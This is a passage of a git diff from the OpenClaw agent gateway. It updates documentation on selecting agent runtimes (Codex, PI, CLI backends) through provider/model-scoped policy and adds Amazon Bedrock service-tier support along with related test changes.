+**OpenClaw uses PI instead of Codex:** make sure the model ref is `openai/gpt-*` +on the official OpenAI provider and that the Codex plugin is installed/enabled. +If you need a strict policy while testing, set provider/model +`agentRuntime.id: "codex"`. A forced Codex runtime fails instead of falling back +to PI. Once Codex app-server is selected, its failures surface directly. **The app-server is rejected:** upgrade Codex so the app-server handshake reports version `0.125.0` or newer. Same-version prereleases or build-suffixed @@ -1207,11 +1186,11 @@ or disable discovery. **WebSocket transport fails immediately:** check `appServer.url`, `authToken`, and that the remote app-server speaks the same Codex app-server protocol version. -**A non-Codex model uses PI:** that is expected unless you forced -`agentRuntime.id: "codex"` for that agent or selected a legacy -`codex/*` ref. Plain `openai/gpt-*` and other provider refs stay on their normal -provider path in `auto` mode. If you force `agentRuntime.id: "codex"`, every embedded -turn for that agent must be a Codex-supported OpenAI model. +**A non-Codex model uses PI:** that is expected unless provider/model runtime +policy routes it to another harness. Plain non-OpenAI provider refs stay on +their normal provider path in `auto` mode. If you force +`agentRuntime.id: "codex"` on a provider or model, matching embedded turns must +be Codex-supported OpenAI models. **Computer Use is installed but tools do not run:** check `/codex computer-use status` from a fresh session. If a tool reports diff --git a/docs/plugins/sdk-agent-harness.md b/docs/plugins/sdk-agent-harness.md index 6f9e802649f..615e7542a92 100644 --- a/docs/plugins/sdk-agent-harness.md +++ b/docs/plugins/sdk-agent-harness.md @@ -103,14 +103,11 @@ export default definePluginEntry({ OpenClaw chooses a harness after provider/model resolution: -1. An existing session's recorded harness id wins, so config/env changes do not - hot-switch that transcript to another runtime. -2. `OPENCLAW_AGENT_RUNTIME=` forces a registered harness with that id for - sessions that are not already pinned. -3. `OPENCLAW_AGENT_RUNTIME=pi` forces the built-in PI harness. -4. `OPENCLAW_AGENT_RUNTIME=auto` asks registered harnesses if they support the - resolved provider/model. -5. If no registered harness matches, OpenClaw uses PI unless PI fallback is +1. Model-scoped runtime policy wins. +2. Provider-scoped runtime policy comes next. +3. `auto` asks registered harnesses if they support the resolved + provider/model. +4. If no registered harness matches, OpenClaw uses PI unless PI fallback is disabled. Plugin harness failures surface as run failures. In `auto` mode, PI fallback is @@ -119,11 +116,10 @@ provider/model. Once a plugin harness has claimed a run, OpenClaw does not replay that same turn through PI because that can change auth/runtime semantics or duplicate side effects. -The selected harness id is persisted with the session id after an embedded run. -Legacy sessions created before harness pins are treated as PI-pinned once they -have transcript history. Use a new/reset session when changing between PI and a -native plugin harness. `/status` shows non-default harness ids such as `codex` -next to `Fast`; PI stays hidden because it is the default compatibility path. +Whole-session and whole-agent runtime pins are ignored by selection. That +includes stale session `agentHarnessId` values, `agents.defaults.agentRuntime`, +`agents.list[].agentRuntime`, and `OPENCLAW_AGENT_RUNTIME`. `/status` shows the +effective runtime selected from the provider/model route. If the selected harness is surprising, enable `agents/harness` debug logging and inspect the gateway's structured `agent harness selected` record. It includes the selected harness id, selection reason, runtime/fallback policy, and, in @@ -141,8 +137,7 @@ OpenClaw. The harness then claims that provider in `supports(...)`. The bundled Codex plugin follows this pattern: -- preferred user model refs: `openai/gpt-5.5` plus - `agentRuntime.id: "codex"` +- preferred user model refs: `openai/gpt-5.5` - compatibility refs: legacy `codex/gpt-*` refs remain accepted, but new configs should not use them as normal provider/model refs - harness id: `codex` @@ -151,10 +146,9 @@ The bundled Codex plugin follows this pattern: - app-server request: OpenClaw sends the bare model id to Codex and lets the harness talk to the native app-server protocol -The Codex plugin is additive. Plain `openai/gpt-*` refs continue to use the -normal OpenClaw provider path unless you force the Codex harness with -`agentRuntime.id: "codex"`. Older `codex/gpt-*` refs still select the -Codex provider and harness for compatibility. +The Codex plugin is additive. Plain `openai/gpt-*` agent refs on the official +OpenAI provider select the Codex harness by default. Older `codex/gpt-*` refs +still select the Codex provider and harness for compatibility. For operator setup, model prefix examples, and Codex-only configs, see [Codex Harness](/plugins/codex-harness). @@ -202,74 +196,94 @@ aliases for the native harness. When this mode runs, Codex owns the native thread id, resume behavior, compaction, and app-server execution. OpenClaw still owns the chat channel, visible transcript mirror, tool policy, approvals, media delivery, and session -selection. Use `agentRuntime.id: "codex"` when you need to prove that only the -Codex app-server path can claim the run. Explicit plugin runtimes fail closed; -Codex app-server selection failures and runtime failures are not retried through -PI. +selection. Use provider/model `agentRuntime.id: "codex"` when you need to prove +that only the Codex app-server path can claim the run. Explicit plugin runtimes +fail closed; Codex app-server selection failures and runtime failures are not +retried through PI. ## Runtime strictness -By default, OpenClaw runs embedded agents with OpenClaw Pi. In `auto` mode, -registered plugin harnesses can claim a provider/model pair, and PI handles the -turn when none match. Use an explicit plugin runtime such as +By default, OpenClaw uses `auto` provider/model runtime policy: registered +plugin harnesses can claim a provider/model pair, and PI handles the turn when +none match. OpenAI agent refs on the official OpenAI provider default to Codex. +Use an explicit provider/model plugin runtime such as `agentRuntime.id: "codex"` when missing harness selection should fail instead of routing through PI. Selected plugin harness failures always fail hard. This -does not block an explicit `agentRuntime.id: "pi"` or -`OPENCLAW_AGENT_RUNTIME=pi`. +does not block an explicit provider/model `agentRuntime.id: "pi"`. For Codex-only embedded runs: ```json { + "models": { + "providers": { + "openai": { + "agentRuntime": { + "id": "codex" + } + } + } + }, "agents": { "defaults": { - "model": "openai/gpt-5.5", - "agentRuntime": { - "id": "codex" + "model": "openai/gpt-5.5" + } + } +} +``` + +If you want a CLI backend for one canonical model, put the runtime on that +model entry: + +```json +{ + "agents": { + "defaults": { + "model": "anthropic/claude-opus-4-7", + "models": { + "anthropic/claude-opus-4-7": { + "agentRuntime": { + "id": "claude-cli" + } + } } } } } ``` -If you want any registered plugin harness to claim matching models and otherwise -use PI, set `id: "auto"`: +Per-agent overrides use the same model-scoped shape: ```json { "agents": { - "defaults": { - "agentRuntime": { - "id": "auto" - } - } - } -} -``` - -Per-agent overrides use the same shape: - -```json -{ - "agents": { - "defaults": { - "agentRuntime": { "id": "auto" } - }, "list": [ { "id": "codex-only", "model": "openai/gpt-5.5", - "agentRuntime": { "id": "codex" } + "models": { + "openai/gpt-5.5": { + "agentRuntime": { "id": "codex" } + } + } } ] } } ``` -`OPENCLAW_AGENT_RUNTIME` still overrides the configured runtime. +Legacy whole-agent runtime examples like this are ignored: -```bash -OPENCLAW_AGENT_RUNTIME=codex openclaw gateway run +```json +{ + "agents": { + "defaults": { + "agentRuntime": { + "id": "codex" + } + } + } +} ``` With an explicit plugin runtime, a session fails early when the requested diff --git a/docs/providers/anthropic.md b/docs/providers/anthropic.md index f253aeaeb5c..085d0bb9d3b 100644 --- a/docs/providers/anthropic.md +++ b/docs/providers/anthropic.md @@ -106,7 +106,11 @@ Anthropic's current public docs: agents: { defaults: { model: { primary: "anthropic/claude-opus-4-7" }, - agentRuntime: { id: "claude-cli" }, + models: { + "anthropic/claude-opus-4-7": { + agentRuntime: { id: "claude-cli" }, + }, + }, }, }, } @@ -114,7 +118,7 @@ Anthropic's current public docs: Legacy `claude-cli/claude-opus-4-7` model refs still work for compatibility, but new config should keep provider/model selection as - `anthropic/*` and put the execution backend in `agentRuntime.id`. + `anthropic/*` and put the execution backend in provider/model runtime policy. If you want the clearest billing path, use an Anthropic API key instead. OpenClaw also supports subscription-style options from [OpenAI Codex](/providers/openai), [Qwen Cloud](/providers/qwen), [MiniMax](/providers/minimax), and [Z.AI / GLM](/providers/glm). diff --git a/docs/providers/bedrock.md b/docs/providers/bedrock.md index 7f2f6b8f0cc..6257e0c05fd 100644 --- a/docs/providers/bedrock.md +++ b/docs/providers/bedrock.md @@ -256,6 +256,49 @@ openclaw models list + + Some Bedrock models support a `service_tier` parameter to optimize for cost + or latency. The following tiers are available: + + | Tier | Description | + |------|-------------| + | `default` | Standard Bedrock tier | + | `flex` | Discounted processing for workloads that can tolerate longer latency | + | `priority` | Prioritized processing for latency-sensitive workloads | + | `reserved` | Reserved capacity for steady-state workloads | + + Set `serviceTier` (or `service_tier`) via `agents.defaults.params` for + Bedrock model requests, or per-model in + `agents.defaults.models[""].params`: + + ```json5 + { + agents: { + defaults: { + params: { + serviceTier: "flex", // applies to all models + }, + models: { + "amazon-bedrock/mistral.mistral-large-3-675b-instruct": { + params: { + serviceTier: "priority", // per-model override + }, + }, + }, + }, + }, + } + ``` + + Valid values are `default`, `flex`, `priority`, and `reserved`. Not all + models support all tiers — if an unsupported tier is requested, Bedrock will + return a validation error. Note: the error message is somewhat misleading; + it may say "The provided model identifier is invalid" rather than indicating + an unsupported service tier. If you see this error, check whether the model + supports the requested tier. + + + Bedrock rejects the `temperature` parameter for Claude Opus 4.7. OpenClaw omits `temperature` automatically for any Opus 4.7 Bedrock ref, including diff --git a/docs/providers/google.md b/docs/providers/google.md index 47ef5143023..3426ff8599c 100644 --- a/docs/providers/google.md +++ b/docs/providers/google.md @@ -13,7 +13,7 @@ Gemini Grounding. - Provider: `google` - Auth: `GEMINI_API_KEY` or `GOOGLE_API_KEY` - API: Google Gemini API -- Runtime option: `agents.defaults.agentRuntime.id: "google-gemini-cli"` +- Runtime option: provider/model `agentRuntime.id: "google-gemini-cli"` reuses Gemini CLI OAuth while keeping model refs canonical as `google/*`. ## Getting started diff --git a/docs/providers/openai.md b/docs/providers/openai.md index b0ff482c9f3..78cd7edf6ee 100644 --- a/docs/providers/openai.md +++ b/docs/providers/openai.md @@ -36,9 +36,9 @@ changing config. | ---------------------------------------------------- | ------------------------------------------------------- | --------------------------------------------------------------------- | | ChatGPT/Codex subscription with native Codex runtime | `openai/gpt-5.5` | Default OpenAI agent setup. Sign in with `openai-codex` auth. | | Direct API-key billing for agent models | `openai/gpt-5.5` plus an `openai-codex` API-key profile | Use `auth.order.openai-codex` to prefer that profile. | -| Direct API-key billing through explicit PI | `openai/gpt-5.5` plus `agentRuntime.id: "pi"` | Select a normal `openai` API-key profile. | +| Direct API-key billing through explicit PI | `openai/gpt-5.5` plus provider/model runtime `pi` | Select a normal `openai` API-key profile. | | Latest ChatGPT Instant API alias | `openai/chat-latest` | Direct API-key only. Moving alias for experiments, not the default. | -| ChatGPT/Codex subscription auth through explicit PI | `openai/gpt-5.5` plus `agentRuntime.id: "pi"` | Select an `openai-codex` auth profile for the compatibility route. | +| ChatGPT/Codex subscription auth through explicit PI | `openai/gpt-5.5` plus provider/model runtime `pi` | Select an `openai-codex` auth profile for the compatibility route. | | Image generation or editing | `openai/gpt-image-2` | Works with either `OPENAI_API_KEY` or OpenAI Codex OAuth. | | Transparent-background images | `openai/gpt-image-1.5` | Use `outputFormat=png` or `webp` and `openai.background=transparent`. | @@ -46,14 +46,14 @@ changing config. The names are similar but not interchangeable: -| Name you see | Layer | Meaning | -| ---------------------------------- | ------------------- | ------------------------------------------------------------------------------------------------- | -| `openai` | Provider prefix | Canonical OpenAI model route; agent turns use the Codex runtime. | -| `openai-codex` | Auth/profile prefix | OpenAI Codex OAuth/subscription auth profile provider. | -| `codex` plugin | Plugin | Bundled OpenClaw plugin that provides native Codex app-server runtime and `/codex` chat controls. | -| `agentRuntime.id: codex` | Agent runtime | Force the native Codex app-server harness for embedded turns. | -| `/codex ...` | Chat command set | Bind/control Codex app-server threads from a conversation. | -| `runtime: "acp", agentId: "codex"` | ACP session route | Explicit fallback path that runs Codex through ACP/acpx. | +| Name you see | Layer | Meaning | +| --------------------------------------- | ------------------- | ------------------------------------------------------------------------------------------------- | +| `openai` | Provider prefix | Canonical OpenAI model route; agent turns use the Codex runtime. | +| `openai-codex` | Auth/profile prefix | OpenAI Codex OAuth/subscription auth profile provider. | +| `codex` plugin | Plugin | Bundled OpenClaw plugin that provides native Codex app-server runtime and `/codex` chat controls. | +| provider/model `agentRuntime.id: codex` | Agent runtime | Force the native Codex app-server harness for matching embedded turns. | +| `/codex ...` | Chat command set | Bind/control Codex app-server threads from a conversation. | +| `runtime: "acp", agentId: "codex"` | ACP session route | Explicit fallback path that runs Codex through ACP/acpx. | This means a config can intentionally contain both `openai/*` model refs and `openai-codex` auth profiles. `openclaw doctor --fix` rewrites legacy @@ -79,20 +79,20 @@ explicit runtime config. ## OpenClaw feature coverage -| OpenAI capability | OpenClaw surface | Status | -| ------------------------- | ----------------------------------------------------------------- | ------------------------------------------------------ | -| Chat / Responses | `openai/` model provider | Yes | -| Codex subscription models | `openai/` with `openai-codex` OAuth | Yes | -| Legacy Codex model refs | `openai-codex/` | Repaired by doctor to `openai/` | -| Codex app-server harness | `openai/` with omitted runtime or `agentRuntime.id: codex` | Yes | -| Server-side web search | Native OpenAI Responses tool | Yes, when web search is enabled and no provider pinned | -| Images | `image_generate` | Yes | -| Videos | `video_generate` | Yes | -| Text-to-speech | `messages.tts.provider: "openai"` / `tts` | Yes | -| Batch speech-to-text | `tools.media.audio` / media understanding | Yes | -| Streaming speech-to-text | Voice Call `streaming.provider: "openai"` | Yes | -| Realtime voice | Voice Call `realtime.provider: "openai"` / Control UI Talk | Yes | -| Embeddings | memory embedding provider | Yes | +| OpenAI capability | OpenClaw surface | Status | +| ------------------------- | -------------------------------------------------------------------------------- | ------------------------------------------------------ | +| Chat / Responses | `openai/` model provider | Yes | +| Codex subscription models | `openai/` with `openai-codex` OAuth | Yes | +| Legacy Codex model refs | `openai-codex/` | Repaired by doctor to `openai/` | +| Codex app-server harness | `openai/` with omitted runtime or provider/model `agentRuntime.id: codex` | Yes | +| Server-side web search | Native OpenAI Responses tool | Yes, when web search is enabled and no provider pinned | +| Images | `image_generate` | Yes | +| Videos | `video_generate` | Yes | +| Text-to-speech | `messages.tts.provider: "openai"` / `tts` | Yes | +| Batch speech-to-text | `tools.media.audio` / media understanding | Yes | +| Streaming speech-to-text | Voice Call `streaming.provider: "openai"` | Yes | +| Realtime voice | Voice Call `realtime.provider: "openai"` / Control UI Talk | Yes | +| Embeddings | memory embedding provider | Yes | ## Memory embeddings @@ -152,9 +152,9 @@ Choose your preferred auth method and follow the setup steps. | Model ref | Runtime config | Route | Auth | | ---------------------- | -------------------------- | --------------------------- | ---------------- | - | `openai/gpt-5.5` | omitted / `agentRuntime.id: "codex"` | Codex app-server harness | `openai-codex` profile | - | `openai/gpt-5.4-mini` | omitted / `agentRuntime.id: "codex"` | Codex app-server harness | `openai-codex` profile | - | `openai/gpt-5.5` | `agentRuntime.id: "pi"` | PI embedded runtime | `openai` profile or selected `openai-codex` profile | + | `openai/gpt-5.5` | omitted / provider/model `agentRuntime.id: "codex"` | Codex app-server harness | `openai-codex` profile | + | `openai/gpt-5.4-mini` | omitted / provider/model `agentRuntime.id: "codex"` | Codex app-server harness | `openai-codex` profile | + | `openai/gpt-5.5` | provider/model `agentRuntime.id: "pi"` | PI embedded runtime | `openai` profile or selected `openai-codex` profile | `openai/*` agent models use the Codex app-server harness. To use API-key @@ -239,8 +239,8 @@ Choose your preferred auth method and follow the setup steps. | Model ref | Runtime config | Route | Auth | |-----------|----------------|-------|------| - | `openai/gpt-5.5` | omitted / `agentRuntime.id: "codex"` | Native Codex app-server harness | Codex sign-in or selected `openai-codex` profile | - | `openai/gpt-5.5` | `agentRuntime.id: "pi"` | PI embedded runtime with internal Codex-auth transport | Selected `openai-codex` profile | + | `openai/gpt-5.5` | omitted / provider/model `agentRuntime.id: "codex"` | Native Codex app-server harness | Codex sign-in or selected `openai-codex` profile | + | `openai/gpt-5.5` | provider/model `agentRuntime.id: "pi"` | PI embedded runtime with internal Codex-auth transport | Selected `openai-codex` profile | | `openai-codex/gpt-5.5` | repaired by doctor | Legacy route rewritten to `openai/gpt-5.5` | Existing `openai-codex` profile | @@ -265,7 +265,6 @@ Choose your preferred auth method and follow the setup steps. agents: { defaults: { model: { primary: "openai/gpt-5.5" }, - agentRuntime: { id: "codex" }, }, }, } @@ -284,7 +283,7 @@ Choose your preferred auth method and follow the setup steps. openclaw models status openclaw models auth list --provider openai-codex openclaw config get agents.defaults.model --json - openclaw config get agents.defaults.agentRuntime --json + openclaw config get models.providers.openai.agentRuntime --json ``` For a specific agent, add `--agent `: @@ -367,7 +366,7 @@ Choose your preferred auth method and follow the setup steps. ## Native Codex app-server auth The native Codex app-server harness uses `openai/*` model refs plus omitted -runtime config or `agentRuntime.id: "codex"`, but its auth is still +runtime config or provider/model `agentRuntime.id: "codex"`, but its auth is still account-based. OpenClaw selects auth in this order: @@ -504,7 +503,7 @@ See [Video Generation](/tools/video-generation) for shared tool parameters, prov OpenClaw adds a shared GPT-5 prompt contribution for GPT-5-family runs across providers. It applies by model id, so `openai/gpt-5.5`, legacy pre-repair refs such as `openai-codex/gpt-5.5`, `openrouter/openai/gpt-5.5`, `opencode/gpt-5.5`, and other compatible GPT-5 refs receive the same overlay. Older GPT-4.x models do not. -The bundled native Codex harness uses the same GPT-5 behavior and heartbeat overlay through Codex app-server developer instructions, so `openai/gpt-5.x` sessions forced through `agentRuntime.id: "codex"` keep the same follow-through and proactive heartbeat guidance even though Codex owns the rest of the harness prompt. +The bundled native Codex harness uses the same GPT-5 behavior and heartbeat overlay through Codex app-server developer instructions, so `openai/gpt-5.x` sessions routed through Codex keep the same follow-through and proactive heartbeat guidance even though Codex owns the rest of the harness prompt. The GPT-5 contribution adds a tagged behavior contract for persona persistence, execution safety, tool discipline, output shape, completion checks, and verification. Channel-specific reply and silent-message behavior stays in the shared OpenClaw system prompt and outbound delivery policy. The GPT-5 guidance is always enabled for matching models. The friendly interaction-style layer is separate and configurable. @@ -912,7 +911,7 @@ the Server-side compaction accordion below. - Injects `context_management: [{ type: "compaction", compact_threshold: ... }]` - Default `compact_threshold`: 70% of `contextWindow` (or `80000` when unavailable) - This applies to the built-in Pi harness path and to OpenAI provider hooks used by embedded runs. The native Codex app-server harness manages its own context through Codex and is configured separately with `agents.defaults.agentRuntime.id`. + This applies to the built-in Pi harness path and to OpenAI provider hooks used by embedded runs. The native Codex app-server harness manages its own context through Codex and is configured by OpenAI's default agent route or provider/model runtime policy. diff --git a/docs/tools/acp-agents-setup.md b/docs/tools/acp-agents-setup.md index eeef8e73d12..8a96d89d074 100644 --- a/docs/tools/acp-agents-setup.md +++ b/docs/tools/acp-agents-setup.md @@ -20,7 +20,7 @@ Codex has two OpenClaw routes: | Route | Config/command | Setup page | | -------------------------- | ------------------------------------------------------ | --------------------------------------- | -| Native Codex app-server | `/codex ...`, `agentRuntime.id: "codex"` | [Codex harness](/plugins/codex-harness) | +| Native Codex app-server | `/codex ...`, `openai/gpt-*` agent refs | [Codex harness](/plugins/codex-harness) | | Explicit Codex ACP adapter | `/acp spawn codex`, `runtime: "acp", agentId: "codex"` | This page | Prefer the native route unless you explicitly need ACP/acpx behavior. diff --git a/docs/tools/acp-agents.md b/docs/tools/acp-agents.md index d4da2acd0fb..e06cb9e72b1 100644 --- a/docs/tools/acp-agents.md +++ b/docs/tools/acp-agents.md @@ -19,8 +19,8 @@ Each ACP session spawn is tracked as a [background task](/automation/tasks). **ACP is the external-harness path, not the default Codex path.** The -native Codex app-server plugin owns `/codex ...` controls and the -`agentRuntime.id: "codex"` embedded runtime; ACP owns +native Codex app-server plugin owns `/codex ...` controls and the default +`openai/gpt-*` embedded runtime for agent turns; ACP owns `/acp ...` controls and `sessions_spawn({ runtime: "acp" })` sessions. If you want Codex or Claude Code to connect as an external MCP client diff --git a/docs/tools/plugin.md b/docs/tools/plugin.md index 2dfe5f3d116..776839a88d6 100644 --- a/docs/tools/plugin.md +++ b/docs/tools/plugin.md @@ -391,8 +391,8 @@ even when source overlay mounts are present. re-enable plugins before running doctor cleanup if you want stale ids removed - OpenAI-family Codex routes keep separate plugin boundaries: `openai-codex/*` belongs to the OpenAI plugin, while the bundled Codex - app-server plugin is selected by `agentRuntime.id: "codex"` or legacy - `codex/*` model refs + app-server plugin is selected by canonical `openai/*` agent refs, explicit + provider/model `agentRuntime.id: "codex"`, or legacy `codex/*` model refs ## Troubleshooting runtime hooks diff --git a/extensions/acpx/src/runtime.ts b/extensions/acpx/src/runtime.ts index 0b8e37e23c9..369f331d031 100644 --- a/extensions/acpx/src/runtime.ts +++ b/extensions/acpx/src/runtime.ts @@ -133,7 +133,13 @@ function selectCurrentSessionLease(params: { if (params.rootPid) { return candidates.find((lease) => lease.rootPid === params.rootPid); } - return candidates.toSorted((a, b) => b.startedAt - a.startedAt)[0]; + let selected: AcpxProcessLease | undefined; + for (const lease of candidates) { + if (!selected || lease.startedAt > selected.startedAt) { + selected = lease; + } + } + return selected; } function createResetAwareSessionStore( diff --git a/extensions/amazon-bedrock/index.test.ts b/extensions/amazon-bedrock/index.test.ts index 4e8666bbb54..240b78a09b9 100644 --- a/extensions/amazon-bedrock/index.test.ts +++ b/extensions/amazon-bedrock/index.test.ts @@ -160,34 +160,28 @@ function makeAppInferenceProfileDescriptor(modelId: string): never { } as never; } -/** - * Call wrapStreamFn and then invoke the returned stream function, capturing - * the payload via the onPayload hook that streamWithPayloadPatch installs. - */ async function callWrappedStream( provider: RegisteredProviderPlugin, modelId: string, modelDescriptor: never, config?: OpenClawConfig, + extraParams?: Record, + payload: Record = {}, ): Promise> { const wrapped = provider.wrapStreamFn?.({ provider: "amazon-bedrock", modelId, config, streamFn: spyStreamFn, + ...(extraParams ? { extraParams } : {}), } as never); - // The wrapped stream returns the options object (from spyStreamFn). - // For guardrail-wrapped streams, streamWithPayloadPatch intercepts onPayload, - // so we need to invoke onPayload on the returned options to trigger the patch. const result = wrapped?.(modelDescriptor, { messages: [] } as never, {}) as unknown as Record< string, unknown >; - // If onPayload was installed by streamWithPayloadPatch, call it to apply the patch. if (typeof result?.onPayload === "function") { - const payload: Record = {}; await (result.onPayload as (p: Record, model: unknown) => Promise)( payload, modelDescriptor, @@ -719,6 +713,89 @@ describe("amazon-bedrock provider plugin", () => { }); }); + describe("service tier", () => { + const CONVERSE_MODEL_DESCRIPTOR = { + api: "bedrock-converse-stream", + provider: "amazon-bedrock", + id: NON_ANTHROPIC_MODEL, + } as never; + + it("injects serviceTier for valid camelCase value ('flex')", async () => { + const provider = await registerWithConfig(undefined); + const result = await callWrappedStream( + provider, + NON_ANTHROPIC_MODEL, + CONVERSE_MODEL_DESCRIPTOR, + runtimePluginConfig(undefined), + { serviceTier: "flex" }, + ); + expect(result._capturedPayload).toMatchObject({ serviceTier: { type: "flex" } }); + }); + + it("injects serviceTier for valid snake_case value ('priority')", async () => { + const provider = await registerWithConfig(undefined); + const result = await callWrappedStream( + provider, + NON_ANTHROPIC_MODEL, + CONVERSE_MODEL_DESCRIPTOR, + runtimePluginConfig(undefined), + { service_tier: "priority" }, + ); + expect(result._capturedPayload).toMatchObject({ serviceTier: { type: "priority" } }); + }); + + it("injects serviceTier for all valid tier names", async () => { + const provider = await registerWithConfig(undefined); + for (const tier of ["flex", "priority", "default", "reserved"] as const) { + const result = await callWrappedStream( + provider, + NON_ANTHROPIC_MODEL, + CONVERSE_MODEL_DESCRIPTOR, + runtimePluginConfig(undefined), + { serviceTier: tier }, + ); + expect(result._capturedPayload).toMatchObject({ serviceTier: { type: tier } }); + } + }); + + it("does not inject serviceTier when value is invalid", async () => { + const provider = await registerWithConfig(undefined); + const result = await callWrappedStream( + provider, + NON_ANTHROPIC_MODEL, + CONVERSE_MODEL_DESCRIPTOR, + runtimePluginConfig(undefined), + { serviceTier: "not-a-tier" }, + ); + expect(result).not.toHaveProperty("_capturedPayload"); + }); + + it("does not overwrite caller-provided serviceTier in payload", async () => { + const provider = await registerWithConfig(undefined); + const result = await callWrappedStream( + provider, + NON_ANTHROPIC_MODEL, + CONVERSE_MODEL_DESCRIPTOR, + runtimePluginConfig(undefined), + { serviceTier: "flex" }, + { serviceTier: { type: "priority" } }, + ); + expect(result._capturedPayload).toMatchObject({ serviceTier: { type: "priority" } }); + }); + + it("skips injection for non-converse API models", async () => { + const provider = await registerWithConfig(undefined); + const result = await callWrappedStream( + provider, + NON_ANTHROPIC_MODEL, + { api: "openai-completions", provider: "amazon-bedrock", id: NON_ANTHROPIC_MODEL } as never, + runtimePluginConfig(undefined), + { serviceTier: "flex" }, + ); + expect(result).not.toHaveProperty("_capturedPayload"); + }); + }); + describe("application inference profile cache point injection", () => { /** * Invoke wrapStreamFn with a payload containing system/messages, then diff --git a/extensions/amazon-bedrock/register.sync.runtime.ts b/extensions/amazon-bedrock/register.sync.runtime.ts index abef50b3578..01740101e44 100644 --- a/extensions/amazon-bedrock/register.sync.runtime.ts +++ b/extensions/amazon-bedrock/register.sync.runtime.ts @@ -34,6 +34,43 @@ type AmazonBedrockPluginConfig = { guardrail?: GuardrailConfig; }; +const BEDROCK_SERVICE_TIER_VALUES = ["flex", "priority", "default", "reserved"] as const; +type BedrockServiceTier = (typeof BEDROCK_SERVICE_TIER_VALUES)[number]; + +function isBedrockServiceTier(value: string): value is BedrockServiceTier { + return BEDROCK_SERVICE_TIER_VALUES.some((tier) => tier === value); +} + +function resolveBedrockServiceTier( + extraParams: Record | undefined, + warn: (message: string) => void, +): BedrockServiceTier | undefined { + const raw = extraParams?.serviceTier ?? extraParams?.service_tier; + if (typeof raw !== "string") { + return undefined; + } + const normalized = raw.trim().toLowerCase(); + if (isBedrockServiceTier(normalized)) { + return normalized; + } + warn(`ignoring invalid Bedrock service_tier param: ${raw}`); + return undefined; +} + +function createBedrockServiceTierWrapper( + underlying: StreamFn, + serviceTier: BedrockServiceTier, +): StreamFn { + return (model, context, options) => { + if (model.api !== "bedrock-converse-stream") { + return underlying(model, context, options); + } + return streamWithPayloadPatch(underlying, model, context, options, (payloadObj) => { + payloadObj.serviceTier ??= { type: serviceTier }; + }); + }; +} + function createGuardrailWrapStreamFn( innerWrapStreamFn: (ctx: { modelId: string; streamFn?: StreamFn }) => StreamFn | null | undefined, guardrailConfig: GuardrailConfig, @@ -484,13 +521,20 @@ export function registerAmazonBedrockPlugin(api: OpenClawPluginApi): void { }, resolveConfigApiKey: ({ env }) => resolveBedrockConfigApiKey(env), ...anthropicByModelReplayHooks, - wrapStreamFn: ({ modelId, config, model, streamFn, thinkingLevel }) => { + wrapStreamFn: ({ modelId, config, model, streamFn, thinkingLevel, extraParams }) => { const currentGuardrail = resolveCurrentPluginConfig(config)?.guardrail; - // Apply cache + guardrail wrapping. - const wrapped = - currentGuardrail?.guardrailIdentifier && currentGuardrail?.guardrailVersion + let wrapped = + (currentGuardrail?.guardrailIdentifier && currentGuardrail?.guardrailVersion ? createGuardrailWrapStreamFn(baseWrapStreamFn, currentGuardrail)({ modelId, streamFn }) - : baseWrapStreamFn({ modelId, streamFn }); + : baseWrapStreamFn({ modelId, streamFn })) ?? undefined; + + const serviceTier = resolveBedrockServiceTier(extraParams, (message) => + api.logger.warn(message), + ); + if (serviceTier && wrapped) { + wrapped = createBedrockServiceTierWrapper(wrapped, serviceTier); + } + const region = resolveBedrockRegion(config) ?? extractRegionFromBaseUrl(model?.baseUrl); const mayNeedCacheInjection = isBedrockAppInferenceProfile(modelId) && !piAiWouldInjectCachePoints(modelId); diff --git a/extensions/anthropic/provider-policy-api.test.ts b/extensions/anthropic/provider-policy-api.test.ts index d1cd3a835d1..49e6fd8ec79 100644 --- a/extensions/anthropic/provider-policy-api.test.ts +++ b/extensions/anthropic/provider-policy-api.test.ts @@ -117,7 +117,9 @@ describe("anthropic provider policy public artifact", () => { if (!profile) { throw new Error("Expected Anthropic policy profile"); } - expect(profile.levels.some((level) => level.id === "xhigh" || level.id === "max")).toBe(false); + expect( + profile.levels.map((level) => level.id).filter((id) => id === "xhigh" || id === "max"), + ).toEqual([]); }); it("does not expose Anthropic thinking profiles for unrelated providers", () => { diff --git a/extensions/bonjour/src/advertiser.test.ts b/extensions/bonjour/src/advertiser.test.ts index 7744c73f947..a1bfed5b018 100644 --- a/extensions/bonjour/src/advertiser.test.ts +++ b/extensions/bonjour/src/advertiser.test.ts @@ -290,8 +290,11 @@ describe("gateway bonjour advertiser", () => { await started.stop(); childProcessModule.exec('arp -a | findstr /C:"---"', () => {}); - const afterStopOptions = execMock.mock.calls.at(-1)?.[1]; - expect(afterStopOptions).toEqual(expect.any(Function)); + const afterStopCallback = execMock.mock.calls.at(-1)?.[1]; + if (typeof afterStopCallback !== "function") { + throw new Error("expected restored exec callback overload"); + } + afterStopCallback(null, "", ""); } finally { childProcessModule.exec = originalExec; } diff --git a/extensions/browser/src/browser/chrome.internal.test.ts b/extensions/browser/src/browser/chrome.internal.test.ts index 8db7100be92..e4ba87ef4e1 100644 --- a/extensions/browser/src/browser/chrome.internal.test.ts +++ b/extensions/browser/src/browser/chrome.internal.test.ts @@ -96,6 +96,14 @@ function effectiveSpawnCommand(call: unknown[] | undefined): unknown { return command; } +function mockExpiredLaunchPollingClock(): void { + let now = 1_000_000; + vi.spyOn(Date, "now").mockImplementation(() => { + now += 1_000; + return now; + }); +} + async function withMockChromeCdpServer(params: { wsPath: string; onConnection?: (wss: WebSocketServer) => void; @@ -507,15 +515,16 @@ describe("chrome.ts internal", () => { let spawnCalls = 0; const firstProc = makeFakeProc(); const secondProc = makeFakeProc(); + mockExpiredLaunchPollingClock(); spawnMock.mockImplementation(() => { spawnCalls += 1; if (spawnCalls === 1) { - setTimeout(() => { + void Promise.resolve().then(() => { firstProc.stderr.emit( "data", Buffer.from("The profile appears to be in use by another Chromium process"), ); - }, 0); + }); return firstProc; } cdpReachable = true; @@ -566,7 +575,10 @@ describe("chrome.ts internal", () => { const fakeProc = makeFakeProc(); spawnMock.mockReturnValue(fakeProc); // Leak some stderr into the buffer so the hint renders. - setTimeout(() => fakeProc.stderr.emit("data", Buffer.from("crash dump\n")), 10); + void Promise.resolve().then(() => + fakeProc.stderr.emit("data", Buffer.from("crash dump\n")), + ); + mockExpiredLaunchPollingClock(); // fetch always fails → isChromeReachable returns false every poll. vi.stubGlobal("fetch", vi.fn().mockRejectedValue(new Error("ECONNREFUSED"))); @@ -587,38 +599,32 @@ describe("chrome.ts internal", () => { }); it("uses the configured local launch timeout while waiting for CDP discovery", async () => { - 